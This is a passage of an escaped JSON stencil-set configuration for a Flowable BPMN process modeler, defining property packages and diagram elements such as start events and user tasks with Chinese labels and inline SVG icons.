 }, {\n    \"name\" : \"errorrefpackage\",\n    \"properties\" : [ {\n      \"id\" : \"errorref\",\n      \"type\" : \"String\",\n      \"title\" : \"\\u9519\\u8bef\\u5f15\\u7528\",\n      \"value\" : \"\",\n      \"description\" : \"\\u5b9a\\u4e49\\u9519\\u8bef\\u540d\\u79f0.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"cancelactivitypackage\",\n    \"properties\" : [ {\n      \"id\" : \"cancelactivity\",\n      \"type\" : \"Boolean\",\n      \"title\" : \"\\u53d6\\u6d88 \\u6d3b\\u52a8(activity)\",\n      \"value\" : \"true\",\n      \"description\" : \"\\u662f\\u5426\\u53d6\\u6d88\\u6d3b\\u52a8\",\n      \"popular\" : true,\n      \"refToView\" : [ \"frame\", \"frame2\" ]\n    } ]\n  }, {\n    \"name\" : \"initiatorpackage\",\n    \"properties\" : [ {\n      \"id\" : \"initiator\",\n      \"type\" : \"String\",\n      \"title\" : \"\\u53d1\\u8d77\\u8005\",\n      \"value\" : \"\",\n      \"description\" : \"\\u6d41\\u7a0b\\u7684\\u53d1\\u8d77\\u8005.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"textpackage\",\n    \"properties\" : [ {\n      \"id\" : \"text\",\n      \"type\" : \"String\",\n      \"title\" : \"\\u5185\\u5bb9\",\n      \"value\" : \"\",\n      \"description\" : \"\\u6587\\u672c\\u7684\\u6587\\u5b57\\u6ce8\\u91ca.\",\n      \"popular\" : true,\n      \"refToView\" : \"text\"\n    } ]\n  }, {\n    \"name\" : \"multiinstance_typepackage\",\n    \"properties\" : [ {\n      \"id\" : \"multiinstance_type\",\n      \"type\" : \"flowable-multiinstance\",\n      \"title\" : \"\\u591a\\u5b9e\\u4f8b\\u7c7b\\u578b\",\n      \"value\" : \"None\",\n      \"description\" : \"重复活动执行（并行或顺序）可以通过不同的循环类型来显示\",\n      \"popular\" : true,\n      \"refToView\" : \"multiinstance\"\n    } ]\n  }, {\n    \"name\" : \"multiinstance_cardinalitypackage\",\n    \"properties\" : [ {\n      \"id\" : \"multiinstance_cardinality\",\n      \"type\" : \"String\",\n      \"title\" : \"\\u57fa\\u6570\\uff08\\u591a\\u5b9e\\u4f8b\\uff09\",\n      \"value\" : \"\",\n      \"description\" : \"\\u5b9a\\u4e49\\u591a\\u5b9e\\u4f8b\\u7684\\u57fa\\u6570.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"multiinstance_collectionpackage\",\n    \"properties\" : [ {\n      \"id\" : \"multiinstance_collection\",\n      \"type\" : \"String\",\n      \"title\" : \"\\u91c7\\u96c6\\uff08\\u591a\\u5b9e\\u4f8b\\uff09\",\n      \"value\" : \"\",\n      \"description\" : \"\\u5b9a\\u4e49\\u96c6\\u5408\\u7684\\u591a\\u5b9e\\u4f8b.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"multiinstance_variablepackage\",\n    \"properties\" : [ {\n      \"id\" : \"multiinstance_variable\",\n      \"type\" : \"String\",\n      \"title\" : \"\\u5143\\u7d20\\u53d8\\u91cf\\uff08\\u591a\\u5b9e\\u4f8b\\uff09\",\n      \"value\" : \"\",\n      \"description\" : \"\\u591a\\u5b9e\\u4f8b\\u53d8\\u91cf\\u5b9a\\u4e49\\u7684\\u5143\\u7d20.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"multiinstance_conditionpackage\",\n    \"properties\" : [ {\n      \"id\" : \"multiinstance_condition\",\n      \"type\" : \"String\",\n      \"title\" : \"\\u5b8c\\u6210\\u6761\\u4ef6\\uff08\\u591a\\u5b9e\\u4f8b\\uff09\",\n      \"value\" : \"\",\n      \"description\" : \"\\u5b9a\\u4e49\\u591a\\u5b9e\\u4f8b\\u7684\\u5b8c\\u6210\\u6761\\u4ef6.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"isforcompensationpackage\",\n    \"properties\" : [ {\n      \"id\" : \"isforcompensation\",\n      \"type\" : \"Boolean\",\n      \"title\" : \"\\u8865\\u507f\",\n      \"value\" : \"false\",\n      \"description\" : \"\\u4e00\\u4e2a\\u6807\\u5fd7\\u6807\\u8bc6\\u6b64\\u6d3b\\u52a8\\u7684\\u76ee\\u7684\\u662f\\u5426\\u4e3a\\u7684\\u8865\\u507f\\u7684\\u76ee\\u7684.\",\n      \"popular\" : true,\n      \"refToView\" : \"compensation\"\n    } ]\n  }, {\n    \"name\" : \"sequencefloworderpackage\",\n    \"properties\" : [ {\n      \"id\" : \"sequencefloworder\",\n      \"type\" : \"Complex\",\n      \"title\" : \"\\u6d41\\u987a\\u5e8f\",\n      \"value\" : \"\",\n      \"description\" : \"\\u6d41\\u5f00\\u59cb\\u7684\\u987a\\u5e8f.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"signaldefinitionspackage\",\n    \"properties\" : [ {\n      \"id\" : \"signaldefinitions\",\n      \"type\" : \"multiplecomplex\",\n      \"title\" : \"\\u4fe1\\u53f7\\u5b9a\\u4e49\",\n      \"value\" : \"\",\n      \"description\" : \"\\u4fe1\\u53f7\\u5b9a\\u4e49\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"messagedefinitionspackage\",\n    \"properties\" : [ {\n      \"id\" : \"messagedefinitions\",\n      \"type\" : \"\\u6d88\\u606f\\u5b9a\\u4e49\",\n      \"value\" : \"\",\n      \"description\" : \"\\u6d88\\u606f\\u5b9a\\u4e49\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"istransactionpackage\",\n    \"properties\" : [ {\n      \"id\" : \"istransaction\",\n      \"type\" : \"Boolean\",\n      \"title\" : \"\\u662f\\u4e00\\u4e2a\\u5b50\\u6d41\\u7a0b\\u4e8b\\u52a1\",\n      \"value\" : \"false\",\n      \"description\" : \"\\u6807\\u8bc6\\u6b64\\u5b50\\u8fdb\\u7a0b\\u662f\\u5426\\u662f\\u4ea4\\u6613\\u7c7b\\u578b\\u7684\\u6807\\u5fd7.\",\n      \"popular\" : true,\n      \"refToView\" : \"border\"\n    } ]\n  }, {\n    \"name\" : \"formreferencepackage\",\n    \"properties\" : [ {\n      \"id\" : \"formreference\",\n      \"type\" : \"Complex\",\n      \"title\" : \"表单引用\",\n      \"value\" : \"\",\n      \"description\" : \"引用表单\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"terminateAllpackage\",\n    \"properties\" : [ {\n      \"id\" : \"terminateAll\",\n      \"type\" : \"Boolean\",\n      \"title\" : \"\\u7ec8\\u6b62\\u6240\\u6709\",\n      \"value\" : \"false\",\n      \"description\" : \"\\u542f\\u7528\\u7ec8\\u6b62\\u6d41\\u7a0b\\u5b9e\\u4f8b\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"decisiontaskdecisiontablereferencepackage\",\n    \"properties\" : [ {\n      \"id\" : \"decisiontaskdecisiontablereference\",\n      \"type\" : \"Complex\",\n      \"title\" : \"决策表参考\",\n      \"value\" : \"\",\n      \"description\" : \"设置决策表参考\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"decisiontaskthrowerroronnohitspackage\",\n    \"properties\" : [ {\n      \"id\" : \"decisiontaskthrowerroronnohits\",\n      \"type\" : \"Boolean\",\n      \"title\" : \"如果没有命中规则，则抛出错误\",\n      \"value\" : \"false\",\n      \"description\" : \"如果没有命中决策表的规则，结果是否被发现，则会引发错误.\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"interruptingpackage\",\n    \"properties\" : [ {\n      \"id\" : \"interrupting\",\n      \"type\" : \"Boolean\",\n      \"title\" : \"中断\",\n      \"value\" : \"true\",\n      \"description\" : \"是否应终止所有父执行?\",\n      \"popular\" : true,\n      \"refToView\" : [ \"frame\" ]\n    } ]\n  }, {\n    \"name\" : \"completionconditionpackage\",\n    \"properties\" : [ {\n      \"id\" : \"completioncondition\",\n      \"type\" : \"String\",\n      \"title\" : \"完成条件\",\n      \"value\" : \"\",\n      \"description\" : \"子过程的完备性条件\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"orderingpackage\",\n    \"properties\" : [ {\n      \"id\" : \"ordering\",\n      \"type\" : \"flowable-ordering\",\n      \"title\" : \"排序\",\n      \"value\" : \"Parallel\",\n      \"description\" : \"AdHoc子过程的排序\",\n      \"popular\" : true\n    } ]\n  }, {\n    \"name\" : \"cancelremaininginstancespackage\",\n    \"properties\" : [ {\n      \"id\" : \"cancelremaininginstances\",\n      \"type\" : \"Boolean\",\n      \"title\" : \"取消剩余实例\",\n      \"value\" : \"true\",\n      \"description\" : \"取消AdHoc子进程的剩余实例?\",\n      \"popular\" : true\n    } ]\n  } ],\n  \"stencils\" : [ {\n    \"type\" : \"node\",\n    \"id\" : \"BPMNDiagram\",\n    \"title\" : \"BPMN\\u56fe\\u8868\",\n    \"description\" : \"A BPMN 2.0 diagram.\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:svg=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   xmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\"\\n   width=\\\"800\\\"\\n   height=\\\"600\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <g pointer-events=\\\"fill\\\" >\\n    <polygon stroke=\\\"black\\\" fill=\\\"black\\\" stroke-width=\\\"1\\\" points=\\\"0,0 0,590 9,599 799,599 799,9 790,0\\\" stroke-linecap=\\\"butt\\\" stroke-linejoin=\\\"miter\\\" stroke-miterlimit=\\\"10\\\" />\\n    <rect id=\\\"diagramcanvas\\\" oryx:resize=\\\"vertical horizontal\\\" x=\\\"0\\\" y=\\\"0\\\" width=\\\"790\\\" height=\\\"590\\\" stroke=\\\"black\\\" stroke-width=\\\"2\\\" fill=\\\"white\\\" />\\n    \\t<text font-size=\\\"22\\\" id=\\\"diagramtext\\\" x=\\\"400\\\" y=\\\"25\\\" oryx:align=\\\"top center\\\" stroke=\\\"#373e48\\\"></text>\\n  </g>\\n</svg>\",\n    \"icon\" : \"diagram.png\",\n    \"groups\" : [ \"图解\" ],\n    \"mayBeRoot\" : true,\n    \"hide\" : true,\n    \"propertyPackages\" : [ \"process_idpackage\", \"namepackage\", \"documentationpackage\", \"process_authorpackage\", \"process_versionpackage\", \"process_namespacepackage\", \"process_historylevelpackage\", \"isexecutablepackage\", \"datapropertiespackage\", \"executionlistenerspackage\", \"eventlistenerspackage\", \"signaldefinitionspackage\", \"messagedefinitionspackage\", \"process_potentialstarteruserpackage\",\"process_potentialstartergrouppackage\", \"process_iseagerexecutionfetchpackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"StartNoneEvent\",\n    \"title\" : \"\\u5f00\\u59cb\\u4e8b\\u4ef6\",\n    \"description\" : \"\\u4e0d\\u5e26\\u5177\\u4f53\\u7684\\u89e6\\u53d1\\u7684\\u5f00\\u59cb\\u4e8b\\u4ef6\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   width=\\\"40\\\"\\n   height=\\\"40\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"16\\\" oryx:cy=\\\"16\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <g pointer-events=\\\"fill\\\">\\n    <circle id=\\\"bg_frame\\\" cx=\\\"16\\\" cy=\\\"16\\\" r=\\\"15\\\" stroke=\\\"#585858\\\" fill=\\\"#ffffff\\\" stroke-width=\\\"1\\\"/>\\n\\t<text font-size=\\\"11\\\" \\n\\t\\tid=\\\"text_name\\\" \\n\\t\\tx=\\\"16\\\" y=\\\"33\\\" \\n\\t\\toryx:align=\\\"top center\\\" \\n\\t\\tstroke=\\\"#373e48\\\"\\n\\t></text>\\n  </g>\\n</svg>\",\n    \"icon\" : \"startevent/none.png\",\n    \"groups\" : [ \"\\u542f\\u52a8\\u4e8b\\u4ef6\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"executionlistenerspackage\", \"initiatorpackage\", \"formkeydefinitionpackage\", \"formreferencepackage\", \"formpropertiespackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"sequence_start\", \"Startevents_all\", \"StartEventsMorph\", \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"StartTimerEvent\",\n    \"title\" : \"\\u8ba1\\u65f6\\u5668\\u4e8b\\u4ef6\",\n    \"description\" : \"\\u5e26\\u6709\\u8ba1\\u65f6\\u5668\\u7684\\u89e6\\u53d1\\u4e8b\\u4ef6\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   width=\\\"40\\\"\\n   height=\\\"40\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"16\\\" oryx:cy=\\\"16\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <g pointer-events=\\\"fill\\\">\\n    <circle \\n    \\tid=\\\"bg_frame\\\" \\n    \\tcx=\\\"16\\\" \\n    \\tcy=\\\"16\\\" \\n    \\tr=\\\"15\\\" \\n    \\tstroke=\\\"#585858\\\" \\n    \\tfill=\\\"#ffffff\\\" \\n    \\tstroke-width=\\\"1\\\"\\n    \\tstyle=\\\"stroke-dasharray: 5.5, 3\\\" />\\n    <circle id=\\\"frame\\\" cx=\\\"16\\\" cy=\\\"16\\\" r=\\\"15\\\" stroke=\\\"#585858\\\" fill=\\\"none\\\" stroke-width=\\\"1\\\"/>\\n    \\n    <path id=\\\"path1\\\" transform=\\\"translate(6,6)\\\"\\n    \\td=\\\"M 10 0 C 4.4771525 0 0 4.4771525 0 10 C 0 15.522847 4.4771525 20 10 20 C 15.522847 20 20 15.522847 20 10 C 20 4.4771525 15.522847 1.1842379e-15 10 0 z M 9.09375 1.03125 C 9.2292164 1.0174926 9.362825 1.0389311 9.5 1.03125 L 9.5 3.5 L 10.5 3.5 L 10.5 1.03125 C 15.063526 1.2867831 18.713217 4.9364738 18.96875 9.5 L 16.5 9.5 L 16.5 10.5 L 18.96875 10.5 C 18.713217 15.063526 15.063526 18.713217 10.5 18.96875 L 10.5 16.5 L 9.5 16.5 L 9.5 18.96875 C 4.9364738 18.713217 1.2867831 15.063526 1.03125 10.5 L 3.5 10.5 L 3.5 9.5 L 1.03125 9.5 C 1.279102 5.0736488 4.7225326 1.4751713 9.09375 1.03125 z M 9.5 5 L 9.5 8.0625 C 8.6373007 8.2844627 8 9.0680195 8 10 C 8 11.104569 8.8954305 12 10 12 C 10.931981 12 11.715537 11.362699 11.9375 10.5 L 14 10.5 L 14 9.5 L 11.9375 9.5 C 11.756642 8.7970599 11.20294 8.2433585 10.5 8.0625 L 10.5 5 L 9.5 5 z \\\"  \\n    \\tfill=\\\"#585858\\\" stroke=\\\"none\\\" />\\n   \\n\\t<text font-size=\\\"11\\\" \\n\\t\\tid=\\\"text_name\\\" \\n\\t\\tx=\\\"16\\\" y=\\\"33\\\" \\n\\t\\toryx:align=\\\"top center\\\" \\n\\t\\tstroke=\\\"#373e48\\\"\\n\\t></text>\\n  </g>\\n</svg>\",\n    \"icon\" : \"startevent/timer.png\",\n    \"groups\" : [ \"\\u542f\\u52a8\\u4e8b\\u4ef6\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"executionlistenerspackage\", \"timercycledefinitionpackage\", \"timerdatedefinitionpackage\", \"timerdurationdefinitionpackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"sequence_start\", \"Startevents_all\", \"StartEventsMorph\", \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"StartSignalEvent\",\n    \"title\" : \"\\u4fe1\\u53f7\\u4e8b\\u4ef6\",\n    \"description\" : \"\\u5e26\\u6709\\u4fe1\\u53f7\\u7684\\u89e6\\u53d1\\u4e8b\\u4ef6\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   width=\\\"40\\\"\\n   height=\\\"40\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"16\\\" oryx:cy=\\\"16\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <g pointer-events=\\\"fill\\\">\\n\\n    <circle \\n    \\tid=\\\"bg_frame\\\" \\n    \\tcx=\\\"16\\\" \\n    \\tcy=\\\"16\\\" \\n    \\tr=\\\"15\\\" \\n    \\tstroke=\\\"#585858\\\" \\n    \\tfill=\\\"#ffffff\\\" \\n    \\tstroke-width=\\\"1\\\"\\n    \\tstyle=\\\"stroke-dasharray: 5.5, 3\\\" />\\n    <circle id=\\\"frame\\\" cx=\\\"16\\\" cy=\\\"16\\\" r=\\\"15\\\" stroke=\\\"#585858\\\" fill=\\\"none\\\" stroke-width=\\\"1\\\"/>\\n    <path\\n       d=\\\"M 8.7124971,21.247342 L 23.333334,21.247342 L 16.022915,8.5759512 L 8.7124971,21.247342 z\\\"\\n       id=\\\"triangle\\\"\\n       stroke=\\\"#585858\\\"\\n       style=\\\"fill:none;stroke-width:1.4;stroke-miterlimit:4;stroke-dasharray:none\\\" />\\n\\t<text font-size=\\\"11\\\" \\n\\t\\tid=\\\"text_name\\\" \\n\\t\\tx=\\\"16\\\" y=\\\"33\\\" \\n\\t\\toryx:align=\\\"top center\\\" \\n\\t\\tstroke=\\\"#373e48\\\"\\n\\t></text>\\n  </g>\\n</svg>\",\n    \"icon\" : \"startevent/signal.png\",\n    \"groups\" : [ \"\\u542f\\u52a8\\u4e8b\\u4ef6\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"executionlistenerspackage\", \"signalrefpackage\", \"interruptingpackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"sequence_start\", \"Startevents_all\", \"StartEventsMorph\", \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"StartMessageEvent\",\n    \"title\" : \"\\u6d88\\u606f\\u4e8b\\u4ef6\",\n    \"description\" : \"\\u5e26\\u6709\\u6d88\\u606f\\u7684\\u89e6\\u53d1\\u4e8b\\u4ef6\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   width=\\\"40\\\"\\n   height=\\\"40\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"16\\\" oryx:cy=\\\"16\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <g pointer-events=\\\"fill\\\">\\n    <circle \\n    \\tid=\\\"bg_frame\\\" \\n    \\tcx=\\\"16\\\" \\n    \\tcy=\\\"16\\\" \\n    \\tr=\\\"15\\\" \\n    \\tstroke=\\\"#585858\\\" \\n    \\tfill=\\\"#ffffff\\\" \\n    \\tstroke-width=\\\"1\\\"\\n    \\tstyle=\\\"stroke-dasharray: 5.5, 3\\\" />\\n    \\n    <circle id=\\\"frame\\\" cx=\\\"16\\\" cy=\\\"16\\\" r=\\\"15\\\" stroke=\\\"#585858\\\" fill=\\\"none\\\" stroke-width=\\\"1\\\"/>\\n    \\n    <path transform=\\\"translate(7,7)\\\" id=\\\"path1\\\" stroke=\\\"none\\\" fill=\\\"#585858\\\" stroke-width=\\\"1\\\" d=\\\"m 0.5,2.5 0,13 17,0 0,-13 z M 2,4 6.5,8.5 2,13 z M 4,4 14,4 9,9 z m 12,0 0,9 -4.5,-4.5 z M 7.5,9.5 9,11 10.5,9.5 15,14 3,14 z\\\"/>\\n\\t<text font-size=\\\"11\\\" \\n\\t\\tid=\\\"text_name\\\" \\n\\t\\tx=\\\"16\\\" y=\\\"33\\\" \\n\\t\\toryx:align=\\\"top center\\\" \\n\\t\\tstroke=\\\"#373e48\\\"\\n\\t></text>\\n  </g>\\n</svg>\",\n    \"icon\" : \"startevent/message.png\",\n    \"groups\" : [ \"\\u542f\\u52a8\\u4e8b\\u4ef6\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"executionlistenerspackage\", \"messagerefpackage\", \"interruptingpackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"sequence_start\", \"Startevents_all\", \"StartEventsMorph\", \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"StartErrorEvent\",\n    \"title\" : \"\\u9519\\u8bef\\u4e8b\\u4ef6\",\n    \"description\" : \"\\u6355\\u83b7BPMN\\u9519\\u8bef\\u4e8b\\u4ef6\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   width=\\\"40\\\"\\n   height=\\\"40\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"16\\\" oryx:cy=\\\"16\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <oryx:docker oryx:cx=\\\"16\\\" oryx:cy=\\\"16\\\" />\\n  <g pointer-events=\\\"fill\\\">\\n    <circle id=\\\"bg_frame\\\" cx=\\\"16\\\" cy=\\\"16\\\" r=\\\"15\\\" stroke=\\\"#585858\\\" fill=\\\"#ffffff\\\" stroke-width=\\\"1\\\"/>\\n    \\n    <path\\n         stroke=\\\"#585858\\\"\\n         style=\\\"fill:none;stroke-width:1.5;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:10\\\"\\n         d=\\\"M 22.820839,11.171502 L 19.36734,24.58992 L 13.54138,14.281819 L 9.3386512,20.071607 L 13.048949,6.8323057 L 18.996148,16.132659 L 22.820839,11.171502 z\\\"\\n         id=\\\"errorPolygon\\\" />\\n\\t<text font-size=\\\"11\\\" \\n\\t\\tid=\\\"text_name\\\" \\n\\t\\tx=\\\"16\\\" y=\\\"33\\\" \\n\\t\\toryx:align=\\\"top center\\\" \\n\\t\\tstroke=\\\"#373e48\\\"\\n\\t></text>\\n  </g>\\n</svg>\",\n    \"icon\" : \"startevent/error.png\",\n    \"groups\" : [ \"\\u542f\\u52a8\\u4e8b\\u4ef6\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"executionlistenerspackage\", \"errorrefpackage\", \"interruptingpackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"sequence_start\", \"Startevents_all\", \"StartEventsMorph\", \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"UserTask\",\n    \"title\" : \"\\u7528\\u6237\\u4efb\\u52a1\",\n    \"description\" : \"\\u4efb\\u52a1\\u624b\\u52a8\\u5206\\u914d\\u7ed9\\u4e00\\u4e2a\\u7279\\u5b9a\\u7684\\u4eba\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:svg=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   xmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\"\\n\\n   width=\\\"102\\\"\\n   height=\\\"82\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"1\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"left\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"79\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"20\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"40\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"99\\\" oryx:cy=\\\"60\\\" oryx:anchors=\\\"right\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"25\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"75\\\" oryx:cy=\\\"1\\\" oryx:anchors=\\\"top\\\" />\\n  \\t\\n  \\t<oryx:magnet oryx:cx=\\\"50\\\" oryx:cy=\\\"40\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <g pointer-events=\\\"fill\\\" oryx:minimumSize=\\\"50 40\\\">\\n\\t<rect id=\\\"text_frame\\\" oryx:anchors=\\\"bottom top right left\\\" x=\\\"1\\\" y=\\\"1\\\" width=\\\"94\\\" height=\\\"79\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"none\\\" stroke-width=\\\"0\\\" fill=\\\"none\\\" />\\n\\t<rect id=\\\"bg_frame\\\" oryx:resize=\\\"vertical horizontal\\\" x=\\\"0\\\" y=\\\"0\\\" width=\\\"100\\\" height=\\\"80\\\" rx=\\\"10\\\" ry=\\\"10\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"1\\\" fill=\\\"#f9f9f9\\\" />\\n\\t\\t<text \\n\\t\\t\\tfont-size=\\\"12\\\" \\n\\t\\t\\tid=\\\"text_name\\\" \\n\\t\\t\\tx=\\\"50\\\" \\n\\t\\t\\ty=\\\"40\\\" \\n\\t\\t\\toryx:align=\\\"middle center\\\"\\n\\t\\t\\toryx:fittoelem=\\\"text_frame\\\"\\n\\t\\t\\tstroke=\\\"#373e48\\\">\\n\\t\\t</text>\\n\\t\\n\\t<g id=\\\"userTask\\\" transform=\\\"translate(3,3)\\\">\\n\\t\\t<path oryx:anchors=\\\"top left\\\"\\n       \\t\\tstyle=\\\"fill:#d1b575;stroke:none;\\\"\\n       \\t\\t d=\\\"m 1,17 16,0 0,-1.7778 -5.333332,-3.5555 0,-1.7778 c 1.244444,0 1.244444,-2.3111 1.244444,-2.3111 l 0,-3.0222 C 12.555557,0.8221 9.0000001,1.0001 9.0000001,1.0001 c 0,0 -3.5555556,-0.178 -3.9111111,3.5555 l 0,3.0222 c 0,0 0,2.3111 1.2444443,2.3111 l 0,1.7778 L 1,15.2222 1,17 17,17\\\" \\n         />\\n\\t\\t\\n\\t</g>\\n  \\n\\t<g id=\\\"parallel\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" d=\\\"M46 70 v8 M50 70 v8 M54 70 v8\\\" stroke-width=\\\"2\\\" />\\n\\t</g>\\n\\t\\n\\t<g id=\\\"sequential\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" stroke-width=\\\"2\\\" d=\\\"M46,76h10M46,72h10 M46,68h10\\\"/>\\n\\t</g>\\n\\t\\n\\n\\t<g id=\\\"compensation\\\">\\n\\t\\t<path oryx:anchors=\\\"bottom\\\" fill=\\\"none\\\" stroke=\\\"#bbbbbb\\\" d=\\\"M 62 74 L 66 70 L 66 78 L 62 74 L 62 70 L 58 74 L 62 78 L 62 74\\\" stroke-width=\\\"1\\\" />\\n\\t</g>\\n  </g>\\n</svg>\",\n    \"icon\" : \"activity/list/type.user.png\",\n    \"groups\" : [ \"\\u4efb\\u52a1\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"asynchronousdefinitionpackage\", \"exclusivedefinitionpackage\", \"executionlistenerspackage\", \"multiinstance_typepackage\", \"multiinstance_cardinalitypackage\", \"multiinstance_collectionpackage\", \"multiinstance_variablepackage\", \"multiinstance_conditionpackage\", \"isforcompensationpackage\", \"usertaskassignmentpackage\", \"formkeydefinitionpackage\", 